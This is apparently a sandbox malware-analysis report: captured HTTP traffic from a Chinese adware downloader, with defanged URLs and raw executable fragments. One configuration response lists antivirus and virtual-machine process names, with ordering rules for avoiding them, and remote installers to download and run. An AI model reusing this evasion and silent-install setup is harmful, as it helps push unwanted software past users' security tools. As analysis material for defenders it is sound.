hxxp://downloader.re58.cn/downcontainer/downLoadInfo.do?oemID=0&recid=22000025816203.130.61.92
hxxp://v1.cnzz.com/stat.php?id=5887135&web_id=58871351.99.192.15
web.51.la117.21.224.131

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /business/5/pingguo.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Range: bytes=0-3047423

Host: img001.com

Accept: */*

Cache-Control: no-cache

HTTP/1.1 206 Partial Content

Server: nginx

Date: Sun, 26 Apr 2015 23:00:05 GMT

Content-Type: application/octet-stream

Content-Length: 3047424

Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT

Connection: keep-alive

Content-Range: bytes 0-3047423/15217760

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1H..u)..u)..u)...&..w)..u)...)...&..d)...6...).../..t)..Richu)..........PE..L......I.................\...........2.......p....@..........................p......n........................................s.......................................................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data...x............r..............@....ndata.......@...........................rsrc................v..............@..@........................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..X...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e..9}...Dp@........FP.VT........ M............U....M....3...3..FQ......3..NU.....M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...e....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F..

<<< skipped >>>

GET /business/5/pingguo.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Range: bytes=9125888-12173311

Host: img001.com

Accept: */*

Cache-Control: no-cache

HTTP/1.1 206 Partial Content

Server: nginx

Date: Sun, 26 Apr 2015 23:00:28 GMT

Content-Type: application/octet-stream

Content-Length: 3047424

Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT

Connection: keep-alive

Content-Range: bytes 9125888-12173311/15217760

'F...\....6......Z.2..4/f.T....l.4Ud. >.K.v....=l..8G.Z...2?..B.....q ..hp..B15./..m,...;.......tE..H...L..3.......)..........`[.W}H4I.....:.g.....L..m..2..,..... P.E....._.Z.}..v.@..;..z.@bY. #q<?.@87.<.;6ai..jDg~...w...@..2...Ic......."O......t.(...X..'....1.Rx'...7Z.4F.y....q.E...O..p9[?....G....$V..H.K........0.,o ..L..b.Z..[..J}...R.).}......Y.m.z4.....ry..Vg.>jz.....D...)7..t[`..Cq8.....TVx.?[..$.E.K...q,A.'...*..k........./.'2~.i...[..../`sl.D.. ...sw..O .hb:..Q)/P../.......H1..#..ZwEc..?..}!...R..vG ..k.KU2..... .j.N}...J;..._0..5....YO...T<..C..|...(r..}.......~.,..J.'(.`../Hm.&...D........@..........E..8.@......P%..<pm8n.rN.u....f.5.0..j?....7R..bVv5.a.......A.......o.....DH.RUM^.N..C4....[....U....8.}....$.B.oU.....n3..m....5..........@}.)...X...syL\_.~R.g..(c..T._T.....#.....U..4.~u.o!;...M.J..t.|..}..};!pP.;<....22,.*..3....&..~9.y.8R....=....}.sn>.....#3....w....-........1.......D.6gl}z)..(....... .F.=.6..#........$0.&r)..I.mX.(k.....5..............Xw..`.;v..o..O..%....9tz.md.o.k...f.L&......9..@.....Bg....j..............5m..........?......r...3..E...W........d`....*...%.9......L..........y.Km`]..p%1.$4.....*.....4._....s.J.@.?..MPb8!...k@U.[g..BA...q.:.TQf>.4/.-..a..$..].l...vR};........@........9*.}-.#...l7k.g.$P.P.!.qp5.....9......j.........c"..lN.L.].F...i....w...b...K.....l....._.4...2..~...}X.&....]..h6Z..Q....#J.....,..1....8..'...v....3...w_..5z..L..B..G.....E#-..$b..V.8.....&...0.[.J....(.;.D... .<C.....j....Enx0 S............@....{...:S.30A.Lg.8.c..9......VW

<<< skipped >>>

GET /business/5/pingguo.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Range: bytes=10780672-12173311

Host: img001.com

Accept: */*

Cache-Control: no-cache

HTTP/1.1 206 Partial Content

Server: nginx

Date: Sun, 26 Apr 2015 23:00:48 GMT

Content-Type: application/octet-stream

Content-Length: 1392640

Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT

Connection: keep-alive

Content-Range: bytes 10780672-12173311/15217760

.;......3E.>...&.....F.f..] c(.*.k..b.{._I.m%.*...]..;....,...D.f#@T..>...%...8.GI.G.."...K;....>..|0N........'f........JC....sz..(...<"y.uU.4 ... V"ya).p.WG.?u.....S..,^.4.8....N.c..\-..Y.t....-..w......#C....X./.I.2.c._uD.\:.......gz.:?a..U(.{B...~\.( ...U.2..F..Ft.i 08R..zL.gi......N-...V...Y..........N,zM_j'..z@Vg...0rp..|..$N........V.........2..O....O...jS.....9......Y-.#r......[..5.e'..W.......%..p=....?..m.J.....t...36.(K..a..,........!qU....Y..g8..f...v...BC...so~.d&|.C.>.........wQ..:8.K.....b..}......../.Q....j.........&.0..c.......^Sd.....;Pp>........EY......b>A/b$.KdZ..S.$...)..b...W.B.c.^U.O.....U..s.$..$I:..`!kw.Q`2..: .^Y..?&R..9....H<....Yc....b"...,P..GY....-.[.>...'...*...FE.ba...,...Yi.s..)..smk.m...[...6T7(2.j.N.Q~'...Lg.Ct}v^t.}T.n....B6.7q.T".....T).4...A`..S...\..tSzW..c..q..t.6.w5..-.V.o.'z.4.mDm.....tp.Ouk......H..f.F..... .{._..duk.../...".UJ.W.3..I....9.x............w....m..}. ..Z..NR..|).....E...-....G!\.....^u.....7a..^......?..`p?.....r.....@...e..(p/.... ....).Vsu.D.6..F..=#..6q/...{.....F...K..O....x..KKL..!-Lk.......Ok..K[!_..r.5..._-............O..r.....|.......[B..h;.....]..\~'.W...r...^..J..MW....r...t...%...'0...*....lj...FIQJ.o.7g..9Lq..>....."...J>~. ...A..2..c@..~D.v ..K.....|n.0.,...T...Q..{...\...p..B.|.Q.~0i... ..p...&.w..a_.....P..Z@.= B...eE...i..5@..x...`}....i...P....N,...,....UYL.\.^......... H....................g..h..X.F....G...............O....i.I>@Ad.c.R.5P../..e.~.....~y.z.=M...)c.D...`.*4..t......F....$I.I.W.....A..AF$1 .

<<< skipped >>>

HEAD /business/5/pingguo.exe HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: img001.com

Content-Length: 0

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2015 22:57:45 GMT

Content-Type: application/octet-stream

Content-Length: 15217760

Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT

Connection: keep-alive

Accept-Ranges: bytes

GET /z.ico?832187 HTTP/1.1

Accept: */*

Host: dl.jmfo.cn

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 26 Apr 2015 22:48:19 GMT

Server: nginx/1.4.4

Content-Type: image/x-icon

Content-Length: 3539

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Access-Control-Max-Age: 2592000

Cache-Control: public, max-age=31536000

Content-Disposition: inline; filename="z.ico"

Content-Transfer-Encoding: binary

ETag: "FlM0l6sGTFVVx38RSOVvstsld2vH"

X-Log: mc.g;IO:1

X-Reqid: FRAAAKtpx-npsdgT

X-Whom: nb263

X-Qiniu-Zone: 0

X-Via: 1.1 sxdx59:3 (Cdn Cache Server V2.0)

Connection: keep-alive

[Config]..Tongji=hXXp://newplay.aliapp.com/Count/Index..Count=12..[Process]..1=360tray.exe,360Safe.exe..2=360rp.exe,360sd.exe..3=QQPCRTP.exe,QQPCTray.exe..4=KSafeSvc.exe,KSafeTray.exe,kxescore.exe,kxetray.exe..8=VBoxTray.exe,VBoxService.exe,VMwareUser.exe,VMwareTray.exe,vmtoolsd.exe,vmacthlp.exe..9=ikeeper.exe,DbntCli.exe,BarClientView.exe,BarMonitor.exe,DF5Serv.exe,PBSClient.exe,Clsmn.exe..[Orader]..;......0=0,1,2,3,5,6,7,8,9,10,11,12,4..;360......1=0..;360......2=0,1,2,3,5,6,7,8,9,10,11,12,4..;QQ..3=0,01,2,3,4,5,6,7,08,9,10..;......4=0,1,2,3,6,7,8,9,10..;........8=0,1,2,3,5,7,8,9,10,11,12,4..;......9=0,1,2,3,5,6,7,8,9,10,11,12,4..[Soft0]..name=......check=..url=hXXp://dl.ntfst.cn/tc.html..exe=2..can=..gai=..[Soft1]..name=........check=..url=hXXp://download.re58.cn/c/girlshow_22000025816.exe..exe=girlshow_22000025816.exe..can=..gai=..[Soft01]..name=......(..)..check=..url=hXXp://download.re58.cn/c/girlshow_22000025816.exe..exe=girlshow_22000025816.exe..can=..gai=y..[Soft2]..name=UC........check=HKLM|SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\UCBrowser..url=hXXp://umcdn.uc.cn/down/4509/Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe..exe=Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe..can=..gai=..[Soft3]..name=............check=HKLM|SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\............url=hXXp://downsrf.eastday.com/qdb/setup_dfkb190.exe..exe=setup_dfkb190.exe..can=..gai=..[Soft03]..name=..........(..)..check=HKLM|SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\........

<<< skipped >>>

GET /17440728.js HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: js.users.51.la

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=300

Content-Length: 1931

Content-Type: application/x-javascript

Last-Modified: Sun, 12 Apr 2015 04:36:31 GMT

Accept-Ranges: bytes

ETag: "f029ad3fda74d01:176d"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Sun, 26 Apr 2015 22:48:30 GMT

Connection: close

document.write ('<a href="hXXp://VVV.51.la/?17440728" target="_blank" title="51.la 专业、免费、强健的访问统计">网站统计</a>\n');..var a0728tf="51la";var a0728pu="";var a0728pf="51la";var a0728su=window.location;var a0728sf=document.referrer;var a0728of="";var a0728op="";var a0728ops=1;var a0728ot=1;var a0728d=new Date();var a0728color="";if (navigator.appName=="Netscape"){a0728color=screen.pixelDepth;} else {a0728color=screen.colorDepth;}..try{a0728tf=top.document.referrer;}catch(e){}..try{a0728pu =window.parent.location;}catch(e){}..try{a0728pf=window.parent.document.referrer;}catch(e){}..try{a0728ops=document.cookie.match(new RegExp("(^| )a0728_pages=([^;]*)(;|$)"));a0728ops=(a0728ops==null)?1: (parseInt(unescape((a0728ops)[2])) 1);var a0728oe =new Date();a0728oe.setTime(a0728oe.getTime() 60*60*1000);document.cookie="a0728_pages=" a0728ops ";path=/;expires=" a0728oe.toGMTString();a0728ot=document.cookie.match(new RegExp("(^| )a0728_times=([^;]*)(;|$)"));if(a0728ot==null){a0728ot=1;}else{a0728ot=parseInt(unescape((a0728ot)[2])); a0728ot=(a0728ops==1)?(a0728ot 1):(a0728ot);}a0728oe.setTime(a0728oe.getTime() 365*24*60*60*1000);document.cookie="a0728_times=" a0728ot ";path=/;expires=" a0728oe.toGMTString();}catch(e){}..try{if(document.cookie==""){a0728ops=-1;a0728ot=-1;}}catch(e){}..a0728of=a0728sf;if(a0728pf!=="51la"){a0728of=a0728pf;}if(a0728tf!=="51la"){a0728of=a0728t

<<< skipped >>>

GET /app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: pcookie.cnzz.com

HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 26 Apr 2015 22:48:28 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=PFnEDULM8goCAcGK9OdbedDL; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.cnzz.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache

GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Tengine..Date: Sun, 26 Apr 2015 22:48:28 GMT..Content-Type: image/gif..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=PFnEDULM8goCAcGK9OdbedDL; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.cnzz.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /down/4509/Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe HTTP/1.1

Accept: */*

Host: umcdn.uc.cn

Cache-Control: no-cache

HTTP/1.0 200 OK

Server: DnionOS/1.2.1

Date: Fri, 17 Apr 2015 02:14:56 GMT

Content-Type: application/octet-stream

Content-Length: 46360400

Last-Modified: Mon, 13 Apr 2015 17:24:38 GMT

Expires: Thu, 14 May 2015 15:43:41 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

X-Cache: MISS from CT-ZJSX-108-192.fastcdn.com

X-Cache: HIT from CT-JSNT-38-176-A.fastcdn.com

Age: 308154

X-Cache: HIT from CT-GXWZ-187-112.fastcdn.com

Connection: close

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V.............................. .........:...,.C.....,.A.....,.F.........A.....................$.......h.......!.....Rich............................PE..L.....#U..........................................@.................................Ui.......................................u.......................N..P........H..`...8...............................@............p...............................text............................... ..`.data...@...........................@....idata..>!...p..."..................@..@.tls................................@....rsrc...............................@..@.reloc...H.......J..................@..B......................................................................................................................................................................................................................................................................A.H.A.<.A.$.A.0.A.^.A...A...A...A...A...A...A...A...A...A...A...A.M.A...A.h.A...A.2.A...A...A.$.A...A...A.?.A.1.A...A.L.A.t.A.#.A.g.A.>.A.Y.A...A...A.Z.A.u.A...A...A...A...A...A...A...A...A...A...A...A.%.A.@.A.[.A.'.A.4.A.j.A...A...A.O.A...A...A...A...A...A.w.A...A...A...A...A...A...A...A.v.A...A...A...A.3.A...A...A...A...A...A.&.A.\.A.A.A...A...A.i.A.N.A...A...A.6.A...A.l.A...A...A...A.Q.A...A...A.C.A...A...A.^.A.P.A...A.k.A...A.B.A...A.].A.x.A...A...A.y.A...A...A...A...A.(.A...A...A...A.5.A

<<< skipped >>>

GET /tg_pic/mobo.png HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: img001.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2015 22:58:30 GMT

Content-Type: image/png

Content-Length: 129582

Last-Modified: Tue, 15 Oct 2013 01:45:40 GMT

Connection: keep-alive

Accept-Ranges: bytes

.PNG........IHDR...D...b.............tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:61A6159E331F11E3B5E3B0304096F3D9" xmpMM:DocumentID="xmp.did:61A6159F331F11E3B5E3B0304096F3D9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:61A6159C331F11E3B5E3B0304096F3D9" stRef:documentID="xmp.did:61A6159D331F11E3B5E3B0304096F3D9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>\.......IDATx.....-iY....VN;.}.....4t....A..(0f......U...^..\..".......\.......$.(I@..t.>a...^.r.}..j..v:.9..>]....jU}U...~..&)I..vuY.. )2..6..=X../|.~|.......<.=2.........-B..v..jL..M..Wm..n.8...K......|.F..:...G1=.#..a@......hc. .......'........M..%,u..U@.9...O.m;.\..5D...Q....oWQ,......y..n.Oc..V.....!4..g...6A...M.&.M....{~B%$.$.r.Y....(...U.*mG.T...j.P.9..S.t=....'A........, HF..H..Z.U..t..xOv! ...3......z;..\G.1.w...i|..U..1..F.V.....QW.q.........,..4|..C.....$K..Gg....'^.I./..6....$....r.(S.S.[nO>.6.f....O..0..... ....P@..0$Et.&/.........p..g r<.#x4I3.y..&...#P..#.a.~...

<<< skipped >>>

GET /stat.php?id=5887135&web_id=5887135 HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: v1.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Date: Sun, 26 Apr 2015 22:48:26 GMT

Last-Modified: Sun, 26 Apr 2015 22:48:26 GMT

Cache-Control: max-age=5400,s-maxage=5400

Via: cache42.l2de1[597,200-0,M], cache63.l2de1[597,0], cache9.de1[597,200-0,M], cache10.de1[599,0]

X-Cache: MISS TCP_REFRESH_MISS dirn:6:627323106

X-Swift-SaveTime: Sun, 26 Apr 2015 22:48:26 GMT

X-Swift-CacheTime: 5400

15ae..(function(){function k(){this.c="5887135";this.R="z";this.N="";this.K="";this.M="";this.r="1430088506";this.P="oz.cnzz.com";this.L="";this.u="CNZZDATA" this.c;this.t="_CNZZDbridge_" this.c;this.F="_cnzz_CV" this.c;this.G="CZ_UUID" this.c;this.v="0";this.A={};this.a={};this.la()}function g(a,b){try{var c=.[];c.push("siteid=5887135");c.push("name=" f(a.name));c.push("msg=" f(a.message));c.push("r=" f(h.referrer));c.push("page=" f(e.location.href));c.push("agent=" f(e.navigator.userAgent));c.push("ex=" f(b));c.push("rnd=" Math.floor(2147483648*Math.random()));(new Image).src="hXXp://jserr.cnzz.com/log.php?" c.join("&")}catch(d){}}var h=document,e=window,f=encodeURIComponent,l=decodeURIComponent,n=unescape,p=escape;k.prototype={la:function(){try{this.U(),this.J(),this.ia(),this.H(),this.o(),.this.ga(),this.fa(),this.ja(),this.j(),this.ea(),this.ha(),this.ka(),this.ca(),this.aa(),this.da(),this.qa(),e[this.t]=e[this.t]||{},this.ba("_cnzz_CV")}catch(a){g(a,"i failed")}},oa:function(){try{var a=this;e._czc={push:function(){return a.B.apply(a,arguments)}}}catch(b){g(b,"oP failed")}},aa:function(){try{var a=e._czc;if("[object Array]"==={}.toString.call(a))for(var b=0;b<a.length;b ){var c=a[b];switch(c[0]){case "_setAccount":e._cz_account="[object String]"==={}.toString.call(c[1])?c[1]:String(c[1]);.break;case "_setAutoPageview":"boolean"===typeof c[1]&&(e._cz_autoPageview=c[1])}}}catch(d){g(d,"cS failed")}},qa:function(){try{if("undefined"===typeof e._cz_account||e._cz_account===this.c){e._cz_account=this.c;if

<<< skipped >>>

GET /tg_pic/lunbo1.png HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: img001.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2015 23:00:05 GMT

Content-Type: image/png

Content-Length: 144211

Last-Modified: Tue, 15 Oct 2013 01:45:40 GMT

Connection: keep-alive

Accept-Ranges: bytes

.PNG........IHDR...D...b.............tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:593C07D4331F11E38873A3C4134F6FD5" xmpMM:DocumentID="xmp.did:593C07D5331F11E38873A3C4134F6FD5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:593C07D2331F11E38873A3C4134F6FD5" stRef:documentID="xmp.did:593C07D3331F11E38873A3C4134F6FD5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....../.IDATx.....eG}.....o.<9.(...F.... L0.. l0.l..^.5~.k[....~.......k....#......B9..........j._u..g.Ef....(....s..}o}.............NgQ{........,.YYYYYYYYY ........:...K`eee.........i1...,.YYYY.v..[..S.q5f..j.....z."6.......V.5...F....j<`/......!......UW.......mf....^.........[k.....Gde..e.®ee....L`.X.hee..e......~p..q...j..h.q.YYYY ....:m...{..T[....." ..R.P........XYY ...R".|..P..e[.$..M./.:5.R...7.q.y.$YYYY ...z.0.@.f.s..v.l.....R....SS.T.j0E...&..........y............P.@.*P T..qc..l...>....{.N..i........X.z.....k...z.?..*XY.{.R?O........N...R.e.XH..q..8..4M..W.........4.:...

<<< skipped >>>

GET /business/5/pingguo.exe HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Range: bytes=3047424-15217760

Host: img001.com

Accept: */*

Cache-Control: no-cache

HTTP/1.1 206 Partial Content

Server: nginx

Date: Sun, 26 Apr 2015 23:00:08 GMT

Content-Type: application/octet-stream

Content-Length: 12170336

Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT

Connection: keep-alive

Content-Range: bytes 3047424-15217759/15217760

a..2...`....rg=.............O..'..../A........CW......v...S...t...7........Ouq.Yt&...Jh.B,.<...|.,...g....,....S........}.M...V!..\..._1vc....BQV..n...k........(-.K....hZ... .A.WXvS........mZ...a.4..@.n...e..f...N#..6h..zVG.\...........X..S............u....G...|... $.{@.5..f.7.]f.[!...FO!|.....q.....n)..O..8QV5F7.7....)I. ;b)*Y...D.&..d...n;..........J..ruUz...g..!?.t.......T....l.oA.F&.J.j,..P(.\....[.4..2.. \z.e.1../....Z......7....Q..G.....iI.q.f..\VU..z.6!..H..YC{oY......;...|8....Fw .....lp?..J|...._......&rr .....4.2J.."N.:.q......O.G..]q..|....Y.H....(../"TG...,q.A.G....h,.S.T.Y.-...C......`.....PdR.7..o.......Os.D........v.a...Hr..W......E..pe....?.....L...n..*.....Hg..):A*.q...OVa*...k.y.......\I...`. ...DF.D.G.......Q5..ao.....X_.............S...W....^E$..\g"...........jT'.VU......;.......i....q3.2%F.@...=^W..2.@..M.xKDUXl...F..}C>...E}........ .JZ......4t*.pD.......?v. .....Gp..#2Fd...V.<.3.Y*..t.B.59s._I..u..;#...W%..._=..#.Yg....!6...>@.5..W.<wU....n.e.......k....O..........{.....&".V...8\.l...N....(3..,&".0.S)... ....'=.=.....Q......n^.x.A . ..#x...$B...V....Sb.k..Hg2..b...n....w."..(P."._.h........}.M@x.n.....uA..0...7..._.b..<..I.f.....G.../...._&.....tc#.1..m...eLu..../...Z!rH..T{.D.Y@}Ji...2..H.l&/v..r.s.. }.>H.V......"....n..C.......5...@.l.B.&W`...X.............|s.T..8.....,.....7A...>t.,.1..x......v..b......G...{..?.pDEr...j..Q....b..LV...'..{.K.K..p......:.,...S....T....d .....y..y... o.'.MF.....H.Y......o....J..`..D.. ....T..!.A.n.le......!.J.j........1....j..^.'..

<<< skipped >>>

GET /downloader/start?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393 HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: cj.pingguo55.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2015 22:53:41 GMT

Content-Length: 0

Connection: keep-alive

Set-Cookie: GUAGUAACOUNTID=1529c340417d464ea511292d0f625da0; domain=pingguo55.com; path=/; expires=Wed, 20-Apr-2016 22:52:50 GMT

....

GET /downloader/startdown?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393 HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: cj.pingguo55.com

Cache-Control: no-cache

Cookie: GUAGUAACOUNTID=1529c340417d464ea511292d0f625da0

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2015 22:53:41 GMT

Content-Length: 0

Connection: keep-alive

HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 22:53:41 GMT..Content-Length: 0..Connection: keep-alive..

GET /downcontainer/downLoad.do HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: downloader.re58.cn

Cache-Control: no-cache

Cookie: rec_id=1:22000025816:0; HMAFROMURL=; GUAGUAACOUNTID=badu_13034453_1430087393

HTTP/1.1 200 OK

Date: Sun, 26 Apr 2015 22:48:35 GMT

Server: Resin/3.1.10

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

X-Via: 1.1 kf50:10 (Cdn Cache Server V2.0)

Connection: keep-alive

02df..<?xml version='1.0' encoding='UTF-8'?><setup><product id='2' oemId='0' name='qixi55' companyName='......' productFullName='..................' version='3.2' /><product id='4' oemId='0' name='qiji55' companyName='......' productFullName='..................' version='3.2' /><product id='5' oemId='0' name='juxing55' companyName='......' productFullName='..................' version='3.2' /><product id='6' oemId='0' name='pingguo55' companyName='......' productFullName='..................' version='3.2' /><product id='7' oemId='0' name='caihong55' companyName='......' productFullName='..................' version='3.2' /><product id='8' oemId='0' name='guagua' companyName='......' productFullName='......' version='6.2.3' /></setup>..0......

GET /downcontainer/downLoadInfo.do?oemID=0&recid=22000025816 HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Host: downloader.re58.cn

Cache-Control: no-cache

Cookie: rec_id=1:22000025816:0; HMAFROMURL=; GUAGUAACOUNTID=badu_13034453_1430087393

HTTP/1.1 200 OK

Date: Sun, 26 Apr 2015 22:48:35 GMT

Server: Resin/3.1.10

Transfer-Encoding: chunked

X-Via: 1.1 kf50:10 (Cdn Cache Server V2.0)

Connection: keep-alive

03ae..<?xml version='1.0' encoding='UTF-8'?><setup productId='6' oemId='0' productName='pingguo55' companyName='......' productFullName='..................' displayName='.................................' version='3.2' licenseUrl='hXXp://VVV.pingguo55.com/service/1954.html?id=1954&cid=1' installUrl='hXXp://img001.com/business/5/pingguo.exe' installUrl2='null' execute='pingguo55.exe -autorun'><homePage displayName='name' url='url' status='0'/><lastimage url='http://img001.com/tg_pic/mobo.png'/><image url='hXXp://img001.com/tg_pic/lunbo1.png'/><image url='hXXp://img001.com/tg_pic/lunbo2.png'/><image url='hXXp://img001.com/tg_pic/lunbo3.png'/><rept url='hXXp://cj.pingguo55.com/downloader/' productName='pingguo' version='32'/><recommendsetup name='name' url='url' status='0'/><recommendsetup name='name' url='url' status='0'/><recommendsetup name='name' url='url' status='0'/><recommendsetup name='name' url='url' status='0'/></setup>..0..

GET /9.gif?abc=1&rnd=1462919078 HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cnzz.mmstat.com

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: Tengine

Date: Sun, 26 Apr 2015 22:48:28 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=PFnEDULM8goCAcGK9OdbedDL; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.mmstat.com

Set-Cookie: sca=992f74ca; path=/; domain=.cnzz.mmstat.com

Set-Cookie: atpsida=c37835c3c610c88d0b49cb8d_1430088508; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.cnzz.mmstat.com

Location: hXXp://pcookie.cnzz.com/app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache

